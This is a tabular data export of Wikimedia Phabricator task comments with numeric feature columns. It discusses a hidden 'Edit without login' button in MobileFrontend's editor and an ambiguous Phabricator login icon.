Observed: You don't see the edit without login button",Lowest,10.0,1422866498,1422896508.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-swjki3cdfm27cfioa7dz,task_description,resolved,True,c3,1,True,True,True,-22,True,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,13.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,5.0,9.0,4.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,3.5764705882352943,0.6823529411764706,"The button ""Edit without login"" has display:none; on the editor cta.

Steps to reproduce:
1. Make sure you're in alpha or anonymous editing is enabled in your configuration
2. Go to an editable page
3. Click the edit pencil

Expected: You see a warning and 3 options (Edit without login, login and signup)
Observed: You don't see the edit without login button"
421470,"""Edit without login"" button is hidden in editor cta","> The change will have gone out on the train since the last date you mentioned, right?

I think so, unless I missed something.",,,1425569473,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,"QUOTE

I think so, unless I missed something."
421336,"""Edit without login"" button is hidden in editor cta","I've just very quickly verified the behaviour on http://en.wikipedia.org/wiki/Samurai?mobileaction=alpha – including checking that the change is present in the source for `EditorOverlay.js`.

The change will have gone out on the train since the last date you mentioned, right?",,,1425551620,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,9.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,16.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.977272727272727,0.8636363636363636,"I've just very quickly verified the behaviour on URL – including checking that the change is present in the source for CODE.

The change will have gone out on the train since the last date you mentioned, right?"
421296,"""Edit without login"" button is hidden in editor cta","Between 2015-01-29 and 2015-02-11 the only MobileFrontend SAL item I see is [[https://wikitech.wikimedia.org/wiki/Server_Admin_Log#January_30| 19:27 logmsgbot: phuedx Synchronized php-1.25wmf15/extensions/MobileFrontend/: No-op deployment training (duration: 00m 06s)]]. The bug and its fix [[https://www.mediawiki.org/wiki/MediaWiki_1.25/wmf16#MobileFrontend|were both in 1.25wmf16]].

So the bug was never deployed, right?",,,1425545989,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5205479452054793,0.7397260273972602,"Between 2015-01-29 and 2015-02-11 the only MobileFrontend SAL item I see is [[URL 19:27 logmsgbot: phuedx Synchronized php-1.25wmf15/extensions/MobileFrontend/: No-op deployment training (duration: 00m 06s)]]. The bug and its fix [[URL both in 1.25wmf16]].

So the bug was never deployed, right?"
405639,"""Edit without login"" button is hidden in editor cta","Change 188043 merged by jenkins-bot:
Don't hide ""edit without login"" button on editor cta

[[https://gerrit.wikimedia.org/r/188043]]",,,1422896618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4444444444444446,0.8888888888888888,"Change 188043 merged by jenkins-bot:
Don't hide ""edit without login"" button on editor cta

[[GERRIT_URL]]"
405569,"""Edit without login"" button is hidden in editor cta","Change 188043 had a related patch set uploaded (by Florianschmidtwelzow):
Don't hide ""edit without login"" button on editor cta

[[https://gerrit.wikimedia.org/r/188043]]

#patch-for-review",,,1422880620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.789473684210526,0.8421052631578947,"Change 188043 had a related patch set uploaded (by Florianschmidtwelzow):
Don't hide ""edit without login"" button on editor cta

[[GERRIT_URL]]

#patch-for-review"
405491,"""Edit without login"" button is hidden in editor cta",Caused by: https://gerrit.wikimedia.org/r/#/c/185929/,,,1422866532,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-swjki3cdfm27cfioa7dz,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Caused by: URL
87552,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Report upstream: https://secure.phabricator.com/T7073 

The Phabricator login button seems to be a log out icon. Maybe it isn't, but that's what it looks like and it was a bit confusing.",Lowest,10.0,1422241844,1426107766.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_description,resolved,True,c3,1,False,False,True,-23,True,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,14.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4722222222222223,0.8888888888888888,"Report upstream: URL 

The Phabricator login button seems to be a log out icon. Maybe it isn't, but that's what it looks like and it was a bit confusing."
798137,Phabricator login button uses an ambiguous icon that could be interpreted as logout,This was fixed in https://secure.phabricator.com/T11096 and deployed on 2017-01-25.,,,1485430092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.9285714285714286,This was fixed in URL and deployed on 2017-01-25.
424807,Phabricator login button uses an ambiguous icon that could be interpreted as logout,https://phabricator.wikimedia.org/T78464#981482,,,1426107766,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
411369,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#1037872, @chasemp wrote:
> FWIW I did that once

It was me on the first dashboard-based homepage for fab.wmflabs, but apart from this I agree with the rest.  :)",,,1423867298,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.6206896551724137,0.9310344827586207,"QUOTE
QUOTE

It was me on the first dashboard-based homepage for fab.wmflabs, but apart from this I agree with the rest.  :)"
411337,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#1037858, @valhallasw wrote:
> Can we just add the login/register line to the front page 'Getting Things Done' block? Then at least people who don't recognise the login icon can find //a// way to login.

FWIW I did that once and people didn't like that even when logged in the static text still said ""Login"" :)

Not opposed though.",,,1423864906,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5757575757575757,0.8484848484848485,"QUOTE
QUOTE

FWIW I did that once and people didn't like that even when logged in the static text still said ""Login"" :)

Not opposed though."
411332,Phabricator login button uses an ambiguous icon that could be interpreted as logout,Can we just add the login/register line to the front page 'Getting Things Done' block? Then at least people who don't recognise the login icon can find //a// way to login.,,,1423864656,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.710526315789474,0.8421052631578947,Can we just add the login/register line to the front page 'Getting Things Done' block? Then at least people who don't recognise the login icon can find //a// way to login.
411327,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"We have upstreamed this task once and it got wontfixed, therefore I don't think it is worth to keep discussing this task in the context of #Phabricator.org

The alternative is to have a local patch, but I really don't see that this is a problem of a scale deserving the maintenance of such patch. With more or less difficulties, users find their way to log in to Phabricator.

Phabricator is not perfect, but I think the current implementation is good enough. I still think we should decline this task.",,,1423864325,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,2.0,7.0,3.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.5,0.5,5.5,8.5,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,8.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,1.5,0.0,0.0,0.5,12.0,0.5,2.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,5.0,3.5,7.5,0.5,3.0,7.5,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,6.5,8.5,0.5,0.0,0.0,0.0,6.5,0.0,0.0,2.0,0.0,1.5,2.0,0.0,0.0,4.078431372549019,0.7647058823529411,"We have upstreamed this task once and it got wontfixed, therefore I don't think it is worth to keep discussing this task in the context of #Phabricator.org

The alternative is to have a local patch, but I really don't see that this is a problem of a scale deserving the maintenance of such patch. With more or less difficulties, users find their way to log in to Phabricator.

Phabricator is not perfect, but I think the current implementation is good enough. I still think we should decline this task."
404297,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#998398, @Qgil wrote:
> I really don't think that users don't know how to log in/out because of this icon.

I couldn't figure it out. I was staring at the interface trying to figure out how to log in and I thought the icon was just an error until someone (MatmaRex, I think) actually pointed it out.

Granted I'm a bit of an idiot, but sometimes users are.",,,1422520834,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-22,True,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,2.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,15.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,15.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,3.467741935483871,0.7258064516129032,"QUOTE
QUOTE

I couldn't figure it out. I was staring at the interface trying to figure out how to log in and I thought the icon was just an error until someone (MatmaRex, I think) actually pointed it out.

Granted I'm a bit of an idiot, but sometimes users are."
403887,Phabricator login button uses an ambiguous icon that could be interpreted as logout,I really don't think that users don't know how to log in/out because of this icon.,,,1422464171,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,19.0,29.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,29.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1904761904761907,0.9047619047619048,I really don't think that users don't know how to log in/out because of this icon.
403890,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.

change
> * Report a Problem
> *  Phabricator Help

into
> * log in / register (link to mw.org registration page?)
> * report a problem
> * phabricator help

Something like:

{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]

```
{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
```

where the Register link even links back to phab!



In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003


",,,1422464691,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,21.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,9.0,6.0,1.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,6.0,2.9195402298850577,0.6206896551724138,"Maybe we can add a link on URL in the Getting Things Done block? i.e.

change
QUOTE
QUOTE

into
QUOTE
QUOTE
QUOTE

Something like:

{icon sign-in} [[URL in]] / {icon key} [[URL

``CODE``

where the Register link even links back to phab!



In the meanwhile, I've updated our docs a bit: URL


"
403879,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.

change
> * Report a Problem
> *  Phabricator Help

into
> * log in / register (link to mw.org registration page?)
> * report a problem
> * phabricator help


In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003


Something like:

{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]

```
{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
```

where the Register link even links back to phab!",,,1422461806,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,21.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,9.0,6.0,1.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,6.0,2.9186046511627906,0.6162790697674418,"Maybe we can add a link on URL in the Getting Things Done block? i.e.

change
QUOTE
QUOTE

into
QUOTE
QUOTE
QUOTE


In the meanwhile, I've updated our docs a bit: URL


Something like:

{icon sign-in} [[URL in]] / {icon key} [[URL

``CODE``

where the Register link even links back to phab!"
403878,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.

change
> * Report a Problem
> *  Phabricator Help

into
> * log in / register (link to mw.org registration page?)
> * report a problem
> * phabricator help


In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003",,,1422461435,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,30.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,3.25,0.7272727272727273,"Maybe we can add a link on URL in the Getting Things Done block? i.e.

change
QUOTE
QUOTE

into
QUOTE
QUOTE
QUOTE


In the meanwhile, I've updated our docs a bit: URL"
403877,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Wontfix upstream, see the reasoning at https://secure.phabricator.com/T7073

I propose to decline this task here accordingly. I don't see a big problem in the icon in any case...

This is a FontAwesome icon, and therefore any requests/patches should be handled in the FontAwesome project directly.",,,1422461156,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,4.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.12962962962963,0.7592592592592593,"Wontfix upstream, see the reasoning at URL

I propose to decline this task here accordingly. I don't see a big problem in the icon in any case...

This is a FontAwesome icon, and therefore any requests/patches should be handled in the FontAwesome project directly."
403434,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Anybody willing to submit this request to https://github.com/FortAwesome/Font-Awesome/issues ? (2184 open, 3010 closed...)",,,1422339898,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.9411764705882353,"Anybody willing to submit this request to URL ? (2184 open, 3010 closed...)"
